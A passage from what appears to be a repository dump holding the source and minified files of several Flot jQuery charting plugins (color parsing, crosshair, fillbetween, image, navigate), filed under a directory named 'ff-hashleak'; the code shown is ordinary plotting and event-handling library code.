c(parseInt(e[1],10),parseInt(e[2],10),parseInt(e[3],10))}if(e=/rgba\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]+(?:\.[0-9]+)?)\s*\)/.exec(f)){return c(parseInt(e[1],10),parseInt(e[2],10),parseInt(e[3],10),parseFloat(e[4]))}if(e=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(f)){return c(parseFloat(e[1])*2.55,parseFloat(e[2])*2.55,parseFloat(e[3])*2.55)}if(e=/rgba\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\s*\)/.exec(f)){return c(parseFloat(e[1])*2.55,parseFloat(e[2])*2.55,parseFloat(e[3])*2.55,parseFloat(e[4]))}if(e=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(f)){return c(parseInt(e[1],16),parseInt(e[2],16),parseInt(e[3],16))}if(e=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(f)){return c(parseInt(e[1]+e[1],16),parseInt(e[2]+e[2],16),parseInt(e[3]+e[3],16))}var d=b.trim(f).toLowerCase();if(d=="transparent"){return c(255,255,255,0)}else{e=a[d]||[0,0,0];return c(e[0],e[1],e[2])}};var a={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255,165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0]}})(jQuery);


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.crosshair.js:
--------------------------------------------------------------------------------
  1 | /*
  2 | Flot plugin for showing crosshairs, thin lines, when the mouse hovers
  3 | over the plot.
  4 | 
  5 |   crosshair: {
  6 |     mode: null or "x" or "y" or "xy"
  7 |     color: color
  8 |     lineWidth: number
  9 |   }
 10 | 
 11 | Set the mode to one of "x", "y" or "xy". The "x" mode enables a
 12 | vertical crosshair that lets you trace the values on the x axis, "y"
 13 | enables a horizontal crosshair and "xy" enables them both. "color" is
 14 | the color of the crosshair (default is "rgba(170, 0, 0, 0.80)"),
 15 | "lineWidth" is the width of the drawn lines (default is 1).
 16 | 
 17 | The plugin also adds four public methods:
 18 | 
 19 |   - setCrosshair(pos)
 20 | 
 21 |     Set the position of the crosshair. Note that this is cleared if
 22 |     the user moves the mouse. "pos" is in coordinates of the plot and
 23 |     should be on the form { x: xpos, y: ypos } (you can use x2/x3/...
 24 |     if you're using multiple axes), which is coincidentally the same
 25 |     format as what you get from a "plothover" event. If "pos" is null,
 26 |     the crosshair is cleared.
 27 | 
 28 |   - clearCrosshair()
 29 | 
 30 |     Clear the crosshair.
 31 | 
 32 |   - lockCrosshair(pos)
 33 | 
 34 |     Cause the crosshair to lock to the current location, no longer
 35 |     updating if the user moves the mouse. Optionally supply a position
 36 |     (passed on to setCrosshair()) to move it to.
 37 | 
 38 |     Example usage:
 39 |       var myFlot = $.plot( $("#graph"), ..., { crosshair: { mode: "x" } } };
 40 |       $("#graph").bind("plothover", function (evt, position, item) {
 41 |         if (item) {
 42 |           // Lock the crosshair to the data point being hovered
 43 |           myFlot.lockCrosshair({ x: item.datapoint[0], y: item.datapoint[1] });
 44 |         }
 45 |         else {
 46 |           // Return normal crosshair operation
 47 |           myFlot.unlockCrosshair();
 48 |         }
 49 |       });
 50 | 
 51 |   - unlockCrosshair()
 52 | 
 53 |     Free the crosshair to move again after locking it.
 54 | */
 55 | 
 56 | (function ($) {
 57 |     var options = {
 58 |         crosshair: {
 59 |             mode: null, // one of null, "x", "y" or "xy",
 60 |             color: "rgba(170, 0, 0, 0.80)",
 61 |             lineWidth: 1
 62 |         }
 63 |     };
 64 |     
 65 |     function init(plot) {
 66 |         // position of crosshair in pixels
 67 |         var crosshair = { x: -1, y: -1, locked: false };
 68 | 
 69 |         plot.setCrosshair = function setCrosshair(pos) {
 70 |             if (!pos)
 71 |                 crosshair.x = -1;
 72 |             else {
 73 |                 var o = plot.p2c(pos);
 74 |                 crosshair.x = Math.max(0, Math.min(o.left, plot.width()));
 75 |                 crosshair.y = Math.max(0, Math.min(o.top, plot.height()));
 76 |             }
 77 |             
 78 |             plot.triggerRedrawOverlay();
 79 |         };
 80 |         
 81 |         plot.clearCrosshair = plot.setCrosshair; // passes null for pos
 82 |         
 83 |         plot.lockCrosshair = function lockCrosshair(pos) {
 84 |             if (pos)
 85 |                 plot.setCrosshair(pos);
 86 |             crosshair.locked = true;
 87 |         }
 88 | 
 89 |         plot.unlockCrosshair = function unlockCrosshair() {
 90 |             crosshair.locked = false;
 91 |         }
 92 | 
 93 |         function onMouseOut(e) {
 94 |             if (crosshair.locked)
 95 |                 return;
 96 | 
 97 |             if (crosshair.x != -1) {
 98 |                 crosshair.x = -1;
 99 |                 plot.triggerRedrawOverlay();
100 |             }
101 |         }
102 | 
103 |         function onMouseMove(e) {
104 |             if (crosshair.locked)
105 |                 return;
106 |                 
107 |             if (plot.getSelection && plot.getSelection()) {
108 |                 crosshair.x = -1; // hide the crosshair while selecting
109 |                 return;
110 |             }
111 |                 
112 |             var offset = plot.offset();
113 |             crosshair.x = Math.max(0, Math.min(e.pageX - offset.left, plot.width()));
114 |             crosshair.y = Math.max(0, Math.min(e.pageY - offset.top, plot.height()));
115 |             plot.triggerRedrawOverlay();
116 |         }
117 |         
118 |         plot.hooks.bindEvents.push(function (plot, eventHolder) {
119 |             if (!plot.getOptions().crosshair.mode)
120 |                 return;
121 | 
122 |             eventHolder.mouseout(onMouseOut);
123 |             eventHolder.mousemove(onMouseMove);
124 |         });
125 | 
126 |         plot.hooks.drawOverlay.push(function (plot, ctx) {
127 |             var c = plot.getOptions().crosshair;
128 |             if (!c.mode)
129 |                 return;
130 | 
131 |             var plotOffset = plot.getPlotOffset();
132 |             
133 |             ctx.save();
134 |             ctx.translate(plotOffset.left, plotOffset.top);
135 | 
136 |             if (crosshair.x != -1) {
137 |                 ctx.strokeStyle = c.color;
138 |                 ctx.lineWidth = c.lineWidth;
139 |                 ctx.lineJoin = "round";
140 | 
141 |                 ctx.beginPath();
142 |                 if (c.mode.indexOf("x") != -1) {
143 |                     ctx.moveTo(crosshair.x, 0);
144 |                     ctx.lineTo(crosshair.x, plot.height());
145 |                 }
146 |                 if (c.mode.indexOf("y") != -1) {
147 |                     ctx.moveTo(0, crosshair.y);
148 |                     ctx.lineTo(plot.width(), crosshair.y);
149 |                 }
150 |                 ctx.stroke();
151 |             }
152 |             ctx.restore();
153 |         });
154 | 
155 |         plot.hooks.shutdown.push(function (plot, eventHolder) {
156 |             eventHolder.unbind("mouseout", onMouseOut);
157 |             eventHolder.unbind("mousemove", onMouseMove);
158 |         });
159 |     }
160 |     
161 |     $.plot.plugins.push({
162 |         init: init,
163 |         options: options,
164 |         name: 'crosshair',
165 |         version: '1.0'
166 |     });
167 | })(jQuery);
168 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.crosshair.min.js:
--------------------------------------------------------------------------------
1 | (function(b){var a={crosshair:{mode:null,color:"rgba(170, 0, 0, 0.80)",lineWidth:1}};function c(h){var j={x:-1,y:-1,locked:false};h.setCrosshair=function e(l){if(!l){j.x=-1}else{var k=h.p2c(l);j.x=Math.max(0,Math.min(k.left,h.width()));j.y=Math.max(0,Math.min(k.top,h.height()))}h.triggerRedrawOverlay()};h.clearCrosshair=h.setCrosshair;h.lockCrosshair=function f(k){if(k){h.setCrosshair(k)}j.locked=true};h.unlockCrosshair=function g(){j.locked=false};function d(k){if(j.locked){return}if(j.x!=-1){j.x=-1;h.triggerRedrawOverlay()}}function i(k){if(j.locked){return}if(h.getSelection&&h.getSelection()){j.x=-1;return}var l=h.offset();j.x=Math.max(0,Math.min(k.pageX-l.left,h.width()));j.y=Math.max(0,Math.min(k.pageY-l.top,h.height()));h.triggerRedrawOverlay()}h.hooks.bindEvents.push(function(l,k){if(!l.getOptions().crosshair.mode){return}k.mouseout(d);k.mousemove(i)});h.hooks.drawOverlay.push(function(m,k){var n=m.getOptions().crosshair;if(!n.mode){return}var l=m.getPlotOffset();k.save();k.translate(l.left,l.top);if(j.x!=-1){k.strokeStyle=n.color;k.lineWidth=n.lineWidth;k.lineJoin="round";k.beginPath();if(n.mode.indexOf("x")!=-1){k.moveTo(j.x,0);k.lineTo(j.x,m.height())}if(n.mode.indexOf("y")!=-1){k.moveTo(0,j.y);k.lineTo(m.width(),j.y)}k.stroke()}k.restore()});h.hooks.shutdown.push(function(l,k){k.unbind("mouseout",d);k.unbind("mousemove",i)})}b.plot.plugins.push({init:c,options:a,name:"crosshair",version:"1.0"})})(jQuery);


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.fillbetween.js:
--------------------------------------------------------------------------------
  1 | /*
  2 | Flot plugin for computing bottoms for filled line and bar charts.
  3 | 
  4 | The case: you've got two series that you want to fill the area
  5 | between. In Flot terms, you need to use one as the fill bottom of the
  6 | other. You can specify the bottom of each data point as the third
  7 | coordinate manually, or you can use this plugin to compute it for you.
  8 | 
  9 | In order to name the other series, you need to give it an id, like this
 10 | 
 11 |   var dataset = [
 12 |        { data: [ ... ], id: "foo" } ,         // use default bottom
 13 |        { data: [ ... ], fillBetween: "foo" }, // use first dataset as bottom
 14 |        ];
 15 | 
 16 |   $.plot($("#placeholder"), dataset, { line: { show: true, fill: true }});
 17 | 
 18 | As a convenience, if the id given is a number that doesn't appear as
 19 | an id in the series, it is interpreted as the index in the array
 20 | instead (so fillBetween: 0 can also mean the first series).
 21 |   
 22 | Internally, the plugin modifies the datapoints in each series. For
 23 | line series, extra data points might be inserted through
 24 | interpolation. Note that at points where the bottom line is not
 25 | defined (due to a null point or start/end of line), the current line
 26 | will show a gap too. The algorithm comes from the jquery.flot.stack.js
 27 | plugin, possibly some code could be shared.
 28 | */
 29 | 
 30 | (function ($) {
 31 |     var options = {
 32 |         series: { fillBetween: null } // or number
 33 |     };
 34 |     
 35 |     function init(plot) {
 36 |         function findBottomSeries(s, allseries) {
 37 |             var i;
 38 |             for (i = 0; i < allseries.length; ++i) {
 39 |                 if (allseries[i].id == s.fillBetween)
 40 |                     return allseries[i];
 41 |             }
 42 | 
 43 |             if (typeof s.fillBetween == "number") {
 44 |                 i = s.fillBetween;
 45 |             
 46 |                 if (i < 0 || i >= allseries.length)
 47 |                     return null;
 48 | 
 49 |                 return allseries[i];
 50 |             }
 51 |             
 52 |             return null;
 53 |         }
 54 |         
 55 |         function computeFillBottoms(plot, s, datapoints) {
 56 |             if (s.fillBetween == null)
 57 |                 return;
 58 | 
 59 |             var other = findBottomSeries(s, plot.getData());
 60 |             if (!other)
 61 |                 return;
 62 | 
 63 |             var ps = datapoints.pointsize,
 64 |                 points = datapoints.points,
 65 |                 otherps = other.datapoints.pointsize,
 66 |                 otherpoints = other.datapoints.points,
 67 |                 newpoints = [],
 68 |                 px, py, intery, qx, qy, bottom,
 69 |                 withlines = s.lines.show,
 70 |                 withbottom = ps > 2 && datapoints.format[2].y,
 71 |                 withsteps = withlines && s.lines.steps,
 72 |                 fromgap = true,
 73 |                 i = 0, j = 0, l;
 74 | 
 75 |             while (true) {
 76 |                 if (i >= points.length)
 77 |                     break;
 78 | 
 79 |                 l = newpoints.length;
 80 | 
 81 |                 if (points[i] == null) {
 82 |                     // copy gaps
 83 |                     for (m = 0; m < ps; ++m)
 84 |                         newpoints.push(points[i + m]);
 85 |                     i += ps;
 86 |                 }
 87 |                 else if (j >= otherpoints.length) {
 88 |                     // for lines, we can't use the rest of the points
 89 |                     if (!withlines) {
 90 |                         for (m = 0; m < ps; ++m)
 91 |                             newpoints.push(points[i + m]);
 92 |                     }
 93 |                     i += ps;
 94 |                 }
 95 |                 else if (otherpoints[j] == null) {
 96 |                     // oops, got a gap
 97 |                     for (m = 0; m < ps; ++m)
 98 |                         newpoints.push(null);
 99 |                     fromgap = true;
100 |                     j += otherps;
101 |                 }
102 |                 else {
103 |                     // cases where we actually got two points
104 |                     px = points[i];
105 |                     py = points[i + 1];
106 |                     qx = otherpoints[j];
107 |                     qy = otherpoints[j + 1];
108 |                     bottom = 0;
109 | 
110 |                     if (px == qx) {
111 |                         for (m = 0; m < ps; ++m)
112 |                             newpoints.push(points[i + m]);
113 | 
114 |                         //newpoints[l + 1] += qy;
115 |                         bottom = qy;
116 |                         
117 |                         i += ps;
118 |                         j += otherps;
119 |                     }
120 |                     else if (px > qx) {
121 |                         // we got past point below, might need to
122 |                         // insert interpolated extra point
123 |                         if (withlines && i > 0 && points[i - ps] != null) {
124 |                             intery = py + (points[i - ps + 1] - py) * (qx - px) / (points[i - ps] - px);
125 |                             newpoints.push(qx);
126 |                             newpoints.push(intery)
127 |                             for (m = 2; m < ps; ++m)
128 |                                 newpoints.push(points[i + m]);
129 |                             bottom = qy; 
130 |                         }
131 | 
132 |                         j += otherps;
133 |                     }
134 |                     else { // px < qx
135 |                         if (fromgap && withlines) {
136 |                             // if we come from a gap, we just skip this point
137 |                             i += ps;
138 |                             continue;
139 |                         }
140 |                             
141 |                         for (m = 0; m < ps; ++m)
142 |                             newpoints.push(points[i + m]);
143 |                         
144 |                         // we might be able to interpolate a point below,
145 |                         // this can give us a better y
146 |                         if (withlines && j > 0 && otherpoints[j - otherps] != null)
147 |                             bottom = qy + (otherpoints[j - otherps + 1] - qy) * (px - qx) / (otherpoints[j - otherps] - qx);
148 | 
149 |                         //newpoints[l + 1] += bottom;
150 |                         
151 |                         i += ps;
152 |                     }
153 | 
154 |                     fromgap = false;
155 |                     
156 |                     if (l != newpoints.length && withbottom)
157 |                         newpoints[l + 2] = bottom;
158 |                 }
159 | 
160 |                 // maintain the line steps invariant
161 |                 if (withsteps && l != newpoints.length && l > 0
162 |                     && newpoints[l] != null
163 |                     && newpoints[l] != newpoints[l - ps]
164 |                     && newpoints[l + 1] != newpoints[l - ps + 1]) {
165 |                     for (m = 0; m < ps; ++m)
166 |                         newpoints[l + ps + m] = newpoints[l + m];
167 |                     newpoints[l + 1] = newpoints[l - ps + 1];
168 |                 }
169 |             }
170 | 
171 |             datapoints.points = newpoints;
172 |         }
173 |         
174 |         plot.hooks.processDatapoints.push(computeFillBottoms);
175 |     }
176 |     
177 |     $.plot.plugins.push({
178 |         init: init,
179 |         options: options,
180 |         name: 'fillbetween',
181 |         version: '1.0'
182 |     });
183 | })(jQuery);
184 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.fillbetween.min.js:
--------------------------------------------------------------------------------
1 | (function(b){var a={series:{fillBetween:null}};function c(f){function d(j,h){var g;for(g=0;g<h.length;++g){if(h[g].id==j.fillBetween){return h[g]}}if(typeof j.fillBetween=="number"){g=j.fillBetween;if(g<0||g>=h.length){return null}return h[g]}return null}function e(B,u,g){if(u.fillBetween==null){return}var p=d(u,B.getData());if(!p){return}var y=g.pointsize,E=g.points,h=p.datapoints.pointsize,x=p.datapoints.points,r=[],w,v,k,G,F,q,t=u.lines.show,o=y>2&&g.format[2].y,n=t&&u.lines.steps,D=true,C=0,A=0,z;while(true){if(C>=E.length){break}z=r.length;if(E[C]==null){for(m=0;m<y;++m){r.push(E[C+m])}C+=y}else{if(A>=x.length){if(!t){for(m=0;m<y;++m){r.push(E[C+m])}}C+=y}else{if(x[A]==null){for(m=0;m<y;++m){r.push(null)}D=true;A+=h}else{w=E[C];v=E[C+1];G=x[A];F=x[A+1];q=0;if(w==G){for(m=0;m<y;++m){r.push(E[C+m])}q=F;C+=y;A+=h}else{if(w>G){if(t&&C>0&&E[C-y]!=null){k=v+(E[C-y+1]-v)*(G-w)/(E[C-y]-w);r.push(G);r.push(k);for(m=2;m<y;++m){r.push(E[C+m])}q=F}A+=h}else{if(D&&t){C+=y;continue}for(m=0;m<y;++m){r.push(E[C+m])}if(t&&A>0&&x[A-h]!=null){q=F+(x[A-h+1]-F)*(w-G)/(x[A-h]-G)}C+=y}}D=false;if(z!=r.length&&o){r[z+2]=q}}}}if(n&&z!=r.length&&z>0&&r[z]!=null&&r[z]!=r[z-y]&&r[z+1]!=r[z-y+1]){for(m=0;m<y;++m){r[z+y+m]=r[z+m]}r[z+1]=r[z-y+1]}}g.points=r}f.hooks.processDatapoints.push(e)}b.plot.plugins.push({init:c,options:a,name:"fillbetween",version:"1.0"})})(jQuery);


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.image.js:
--------------------------------------------------------------------------------
  1 | /*
  2 | Flot plugin for plotting images, e.g. useful for putting ticks on a
  3 | prerendered complex visualization.
  4 | 
  5 | The data syntax is [[image, x1, y1, x2, y2], ...] where (x1, y1) and
  6 | (x2, y2) are where you intend the two opposite corners of the image to
  7 | end up in the plot. Image must be a fully loaded Javascript image (you
  8 | can make one with new Image()). If the image is not complete, it's
  9 | skipped when plotting.
 10 | 
 11 | There are two helpers included for retrieving images. The easiest work
 12 | the way that you put in URLs instead of images in the data (like
 13 | ["myimage.png", 0, 0, 10, 10]), then call $.plot.image.loadData(data,
 14 | options, callback) where data and options are the same as you pass in
 15 | to $.plot. This loads the images, replaces the URLs in the data with
 16 | the corresponding images and calls "callback" when all images are
 17 | loaded (or failed loading). In the callback, you can then call $.plot
 18 | with the data set. See the included example.
 19 | 
 20 | A more low-level helper, $.plot.image.load(urls, callback) is also
 21 | included. Given a list of URLs, it calls callback with an object
 22 | mapping from URL to Image object when all images are loaded or have
 23 | failed loading.
 24 | 
 25 | Options for the plugin are
 26 | 
 27 |   series: {
 28 |       images: {
 29 |           show: boolean
 30 |           anchor: "corner" or "center"
 31 |           alpha: [0,1]
 32 |       }
 33 |   }
 34 | 
 35 | which can be specified for a specific series
 36 | 
 37 |   $.plot($("#placeholder"), [{ data: [ ... ], images: { ... } ])
 38 | 
 39 | Note that because the data format is different from usual data points,
 40 | you can't use images with anything else in a specific data series.
 41 | 
 42 | Setting "anchor" to "center" causes the pixels in the image to be
 43 | anchored at the corner pixel centers inside of at the pixel corners,
 44 | effectively letting half a pixel stick out to each side in the plot.
 45 | 
 46 | 
 47 | A possible future direction could be support for tiling for large
 48 | images (like Google Maps).
 49 | 
 50 | */
 51 | 
 52 | (function ($) {
 53 |     var options = {
 54 |         series: {
 55 |             images: {
 56 |                 show: false,
 57 |                 alpha: 1,
 58 |                 anchor: "corner" // or "center"
 59 |             }
 60 |         }
 61 |     };
 62 | 
 63 |     $.plot.image = {};
 64 | 
 65 |     $.plot.image.loadDataImages = function (series, options, callback) {
 66 |         var urls = [], points = [];
 67 | 
 68 |         var defaultShow = options.series.images.show;
 69 |         
 70 |         $.each(series, function (i, s) {
 71 |             if (!(defaultShow || s.images.show))
 72 |                 return;
 73 |             
 74 |             if (s.data)
 75 |                 s = s.data;
 76 | 
 77 |             $.each(s, function (i, p) {
 78 |                 if (typeof p[0] == "string") {
 79 |                     urls.push(p[0]);
 80 |                     points.push(p);
 81 |                 }
 82 |             });
 83 |         });
 84 | 
 85 |         $.plot.image.load(urls, function (loadedImages) {
 86 |             $.each(points, function (i, p) {
 87 |                 var url = p[0];
 88 |                 if (loadedImages[url])
 89 |                     p[0] = loadedImages[url];
 90 |             });
 91 | 
 92 |             callback();
 93 |         });
 94 |     }
 95 |     
 96 |     $.plot.image.load = function (urls, callback) {
 97 |         var missing = urls.length, loaded = {};
 98 |         if (missing == 0)
 99 |             callback({});
100 | 
101 |         $.each(urls, function (i, url) {
102 |             var handler = function () {
103 |                 --missing;
104 |                 
105 |                 loaded[url] = this;
106 |                 
107 |                 if (missing == 0)
108 |                     callback(loaded);
109 |             };
110 | 
111 |             $('<img />').load(handler).error(handler).attr('src', url);
112 |         });
113 |     }
114 |     
115 |     function drawSeries(plot, ctx, series) {
116 |         var plotOffset = plot.getPlotOffset();
117 |         
118 |         if (!series.images || !series.images.show)
119 |             return;
120 |         
121 |         var points = series.datapoints.points,
122 |             ps = series.datapoints.pointsize;
123 |         
124 |         for (var i = 0; i < points.length; i += ps) {
125 |             var img = points[i],
126 |                 x1 = points[i + 1], y1 = points[i + 2],
127 |                 x2 = points[i + 3], y2 = points[i + 4],
128 |                 xaxis = series.xaxis, yaxis = series.yaxis,
129 |                 tmp;
130 | 
131 |             // actually we should check img.complete, but it
132 |             // appears to be a somewhat unreliable indicator in
133 |             // IE6 (false even after load event)
134 |             if (!img || img.width <= 0 || img.height <= 0)
135 |                 continue;
136 | 
137 |             if (x1 > x2) {
138 |                 tmp = x2;
139 |                 x2 = x1;
140 |                 x1 = tmp;
141 |             }
142 |             if (y1 > y2) {
143 |                 tmp = y2;
144 |                 y2 = y1;
145 |                 y1 = tmp;
146 |             }
147 |             
148 |             // if the anchor is at the center of the pixel, expand the 
149 |             // image by 1/2 pixel in each direction
150 |             if (series.images.anchor == "center") {
151 |                 tmp = 0.5 * (x2-x1) / (img.width - 1);
152 |                 x1 -= tmp;
153 |                 x2 += tmp;
154 |                 tmp = 0.5 * (y2-y1) / (img.height - 1);
155 |                 y1 -= tmp;
156 |                 y2 += tmp;
157 |             }
158 |             
159 |             // clip
160 |             if (x1 == x2 || y1 == y2 ||
161 |                 x1 >= xaxis.max || x2 <= xaxis.min ||
162 |                 y1 >= yaxis.max || y2 <= yaxis.min)
163 |                 continue;
164 | 
165 |             var sx1 = 0, sy1 = 0, sx2 = img.width, sy2 = img.height;
166 |             if (x1 < xaxis.min) {
167 |                 sx1 += (sx2 - sx1) * (xaxis.min - x1) / (x2 - x1);
168 |                 x1 = xaxis.min;
169 |             }
170 | 
171 |             if (x2 > xaxis.max) {
172 |                 sx2 += (sx2 - sx1) * (xaxis.max - x2) / (x2 - x1);
173 |                 x2 = xaxis.max;
174 |             }
175 | 
176 |             if (y1 < yaxis.min) {
177 |                 sy2 += (sy1 - sy2) * (yaxis.min - y1) / (y2 - y1);
178 |                 y1 = yaxis.min;
179 |             }
180 | 
181 |             if (y2 > yaxis.max) {
182 |                 sy1 += (sy1 - sy2) * (yaxis.max - y2) / (y2 - y1);
183 |                 y2 = yaxis.max;
184 |             }
185 |             
186 |             x1 = xaxis.p2c(x1);
187 |             x2 = xaxis.p2c(x2);
188 |             y1 = yaxis.p2c(y1);
189 |             y2 = yaxis.p2c(y2);
190 |             
191 |             // the transformation may have swapped us
192 |             if (x1 > x2) {
193 |                 tmp = x2;
194 |                 x2 = x1;
195 |                 x1 = tmp;
196 |             }
197 |             if (y1 > y2) {
198 |                 tmp = y2;
199 |                 y2 = y1;
200 |                 y1 = tmp;
201 |             }
202 | 
203 |             tmp = ctx.globalAlpha;
204 |             ctx.globalAlpha *= series.images.alpha;
205 |             ctx.drawImage(img,
206 |                           sx1, sy1, sx2 - sx1, sy2 - sy1,
207 |                           x1 + plotOffset.left, y1 + plotOffset.top,
208 |                           x2 - x1, y2 - y1);
209 |             ctx.globalAlpha = tmp;
210 |         }
211 |     }
212 | 
213 |     function processRawData(plot, series, data, datapoints) {
214 |         if (!series.images.show)
215 |             return;
216 | 
217 |         // format is Image, x1, y1, x2, y2 (opposite corners)
218 |         datapoints.format = [
219 |             { required: true },
220 |             { x: true, number: true, required: true },
221 |             { y: true, number: true, required: true },
222 |             { x: true, number: true, required: true },
223 |             { y: true, number: true, required: true }
224 |         ];
225 |     }
226 |     
227 |     function init(plot) {
228 |         plot.hooks.processRawData.push(processRawData);
229 |         plot.hooks.drawSeries.push(drawSeries);
230 |     }
231 |     
232 |     $.plot.plugins.push({
233 |         init: init,
234 |         options: options,
235 |         name: 'image',
236 |         version: '1.1'
237 |     });
238 | })(jQuery);
239 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.image.min.js:
--------------------------------------------------------------------------------
1 | (function(c){var a={series:{images:{show:false,alpha:1,anchor:"corner"}}};c.plot.image={};c.plot.image.loadDataImages=function(g,f,k){var j=[],h=[];var i=f.series.images.show;c.each(g,function(l,m){if(!(i||m.images.show)){return}if(m.data){m=m.data}c.each(m,function(n,o){if(typeof o[0]=="string"){j.push(o[0]);h.push(o)}})});c.plot.image.load(j,function(l){c.each(h,function(n,o){var m=o[0];if(l[m]){o[0]=l[m]}});k()})};c.plot.image.load=function(h,i){var g=h.length,f={};if(g==0){i({})}c.each(h,function(k,j){var l=function(){--g;f[j]=this;if(g==0){i(f)}};c("<img />").load(l).error(l).attr("src",j)})};function d(q,o,l){var m=q.getPlotOffset();if(!l.images||!l.images.show){return}var r=l.datapoints.points,n=l.datapoints.pointsize;for(var t=0;t<r.length;t+=n){var y=r[t],w=r[t+1],g=r[t+2],v=r[t+3],f=r[t+4],h=l.xaxis,u=l.yaxis,x;if(!y||y.width<=0||y.height<=0){continue}if(w>v){x=v;v=w;w=x}if(g>f){x=f;f=g;g=x}if(l.images.anchor=="center"){x=0.5*(v-w)/(y.width-1);w-=x;v+=x;x=0.5*(f-g)/(y.height-1);g-=x;f+=x}if(w==v||g==f||w>=h.max||v<=h.min||g>=u.max||f<=u.min){continue}var k=0,s=0,j=y.width,p=y.height;if(w<h.min){k+=(j-k)*(h.min-w)/(v-w);w=h.min}if(v>h.max){j+=(j-k)*(h.max-v)/(v-w);v=h.max}if(g<u.min){p+=(s-p)*(u.min-g)/(f-g);g=u.min}if(f>u.max){s+=(s-p)*(u.max-f)/(f-g);f=u.max}w=h.p2c(w);v=h.p2c(v);g=u.p2c(g);f=u.p2c(f);if(w>v){x=v;v=w;w=x}if(g>f){x=f;f=g;g=x}x=o.globalAlpha;o.globalAlpha*=l.images.alpha;o.drawImage(y,k,s,j-k,p-s,w+m.left,g+m.top,v-w,f-g);o.globalAlpha=x}}function b(i,f,g,h){if(!f.images.show){return}h.format=[{required:true},{x:true,number:true,required:true},{y:true,number:true,required:true},{x:true,number:true,required:true},{y:true,number:true,required:true}]}function e(f){f.hooks.processRawData.push(b);f.hooks.drawSeries.push(d)}c.plot.plugins.push({init:e,options:a,name:"image",version:"1.1"})})(jQuery);


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.navigate.min.js:
--------------------------------------------------------------------------------
1 | (function(i){i.fn.drag=function(j,k,l){if(k){this.bind("dragstart",j)}if(l){this.bind("dragend",l)}return !j?this.trigger("drag"):this.bind("drag",k?k:j)};var d=i.event,c=d.special,h=c.drag={not:":input",distance:0,which:1,dragging:false,setup:function(j){j=i.extend({distance:h.distance,which:h.which,not:h.not},j||{});j.distance=e(j.distance);d.add(this,"mousedown",f,j);if(this.attachEvent){this.attachEvent("ondragstart",a)}},teardown:function(){d.remove(this,"mousedown",f);if(this===h.dragging){h.dragging=h.proxy=false}g(this,true);if(this.detachEvent){this.detachEvent("ondragstart",a)}}};c.dragstart=c.dragend={setup:function(){},teardown:function(){}};function f(j){var k=this,l,m=j.data||{};if(m.elem){k=j.dragTarget=m.elem;j.dragProxy=h.proxy||k;j.cursorOffsetX=m.pageX-m.left;j.cursorOffsetY=m.pageY-m.top;j.offsetX=j.pageX-j.cursorOffsetX;j.offsetY=j.pageY-j.cursorOffsetY}else{if(h.dragging||(m.which>0&&j.which!=m.which)||i(j.target).is(m.not)){return}}switch(j.type){case"mousedown":i.extend(m,i(k).offset(),{elem:k,target:j.target,pageX:j.pageX,pageY:j.pageY});d.add(document,"mousemove mouseup",f,m);g(k,false);h.dragging=null;return false;case !h.dragging&&"mousemove":if(e(j.pageX-m.pageX)+e(j.pageY-m.pageY)<m.distance){break}j.target=m.target;l=b(j,"dragstart",k);if(l!==false){h.dragging=k;h.proxy=j.dragProxy=i(l||k)[0]}case"mousemove":if(h.dragging){l=b(j,"drag",k);if(c.drop){c.drop.allowed=(l!==false);c.drop.handler(j)}if(l!==false){break}j.type="mouseup"}case"mouseup":d.remove(document,"mousemove mouseup",f);if(h.dragging){if(c.drop){c.drop.handler(j)}b(j,"dragend",k)}g(k,true);h.dragging=h.proxy=m.elem=false;break}return true}function b(m,k,j){m.type=k;var l=i.event.handle.call(j,m);return l===false?false:l||m.result}function e(j){return Math.pow(j,2)}function a(){return(h.dragging===false)}function g(j,k){if(!j){return}j.unselectable=k?"off":"on";j.onselectstart=function(){return k};if(j.style){j.style.MozUserSelect=k?"":"none"}}})(jQuery);(function(f){var e=["DOMMouseScroll","mousewheel"];f.event.special.mousewheel={setup:function(){if(this.addEventListener){for(var a=e.length;a;){this.addEventListener(e[--a],d,false)}}else{this.onmousewheel=d}},teardown:function(){if(this.removeEventListener){for(var a=e.length;a;){this.removeEventListener(e[--a],d,false)}}else{this.onmousewheel=null}}};f.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}});function d(b){var h=[].slice.call(arguments,1),a=0,c=true;b=f.event.fix(b||window.event);b.type="mousewheel";if(b.wheelDelta){a=b.wheelDelta/120}if(b.detail){a=-b.detail/3}h.unshift(b,a);return 